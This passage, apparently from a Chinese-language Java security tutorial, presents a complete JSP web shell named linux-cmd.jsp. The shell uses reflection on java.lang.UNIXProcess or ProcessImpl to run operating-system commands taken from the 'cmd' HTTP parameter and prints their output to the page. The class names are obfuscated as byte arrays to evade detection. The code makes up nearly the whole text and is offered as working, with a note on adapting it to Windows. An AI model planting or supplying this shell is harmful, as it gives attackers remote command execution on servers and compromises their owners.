linux-cmd.jsp执行本地命令测试:

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="java.io.*" %>
    3. <%@ page import="java.lang.reflect.Constructor" %>
    4. <%@ page import="java.lang.reflect.Method" %>
    5. <%!
    6. byte[] toCString(String s) {
    7. if (s == null) {
    8. return null;
    9. }
    10. byte[] bytes = s.getBytes();
    11. byte[] result = new byte[bytes.length + 1];
    12. System.arraycopy(bytes, 0, result, 0, bytes.length);
    13. result[result.length - 1] = (byte) 0;
    14. return result;
    15. }
    16. InputStream start(String[] strs) throws Exception {
    17. // java.lang.UNIXProcess
    18. String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
    19. // java.lang.ProcessImpl
    20. String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
    21. Class clazz = null;
    22. // 反射创建UNIXProcess或者ProcessImpl
    23. try {
    24. clazz = Class.forName(unixClass);
    25. } catch (ClassNotFoundException e) {
    26. clazz = Class.forName(processClass);
    27. }
    28. // 获取UNIXProcess或者ProcessImpl的构造方法
    29. Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
    30. constructor.setAccessible(true);
    31. assert strs != null && strs.length > 0;
    32. // Convert arguments to a contiguous block; it's easier to do
    33. // memory management in Java than in C.
    34. byte[][] args = new byte[strs.length - 1][];
    35. int size = args.length; // For added NUL bytes
    36. for (int i = 0; i < args.length; i++) {
    37. args[i] = strs[i + 1].getBytes();
    38. size += args[i].length;
    39. }
    40. byte[] argBlock = new byte[size];
    41. int i = 0;
    42. for (byte[] arg : args) {
    43. System.arraycopy(arg, 0, argBlock, i, arg.length);
    44. i += arg.length + 1;
    45. // No need to write NUL bytes explicitly
    46. }
    47. int[] envc = new int[1];
    48. int[] std_fds = new int[]{-1, -1, -1};
    49. FileInputStream f0 = null;
    50. FileOutputStream f1 = null;
    51. FileOutputStream f2 = null;
    52. // In theory, close() can throw IOException
    53. // (although it is rather unlikely to happen here)
    54. try {
    55. if (f0 != null) f0.close();
    56. } finally {
    57. try {
    58. if (f1 != null) f1.close();
    59. } finally {
    60. if (f2 != null) f2.close();
    61. }
    62. }
    63. // 创建UNIXProcess或者ProcessImpl实例
    64. Object object = constructor.newInstance(
    65. toCString(strs[0]), argBlock, args.length,
    66. null, envc[0], null, std_fds, false
    67. );
    68. // 获取命令执行的InputStream
    69. Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
    70. inMethod.setAccessible(true);
    71. return (InputStream) inMethod.invoke(object);
    72. }
    73. String inputStreamToString(InputStream in, String charset) throws IOException {
    74. try {
    75. if (charset == null) {
    76. charset = "UTF-8";
    77. }
    78. ByteArrayOutputStream out = new ByteArrayOutputStream();
    79. int a = 0;
    80. byte[] b = new byte[1024];
    81. while ((a = in.read(b)) != -1) {
    82. out.write(b, 0, a);
    83. }
    84. return new String(out.toByteArray());
    85. } catch (IOException e) {
    86. throw e;
    87. } finally {
    88. if (in != null)
    89. in.close();
    90. }
    91. }
    92. %>
    93. <%
    94. String[] str = request.getParameterValues("cmd");
    95. if (str != null) {
    96. InputStream in = start(str);
    97. String result = inputStreamToString(in, "UTF-8");
    98. out.println("<pre>");
    99. out.println(result);
    100. out.println("</pre>");
    101. out.flush();
    102. out.close();
    103. }
    104. %>

    命令执行效果如下:
    5. 反射UNIXProcess/ProcessImpl执行本地命令 - 图1
    Windows可能并不适用,稍做调整应该就可以了。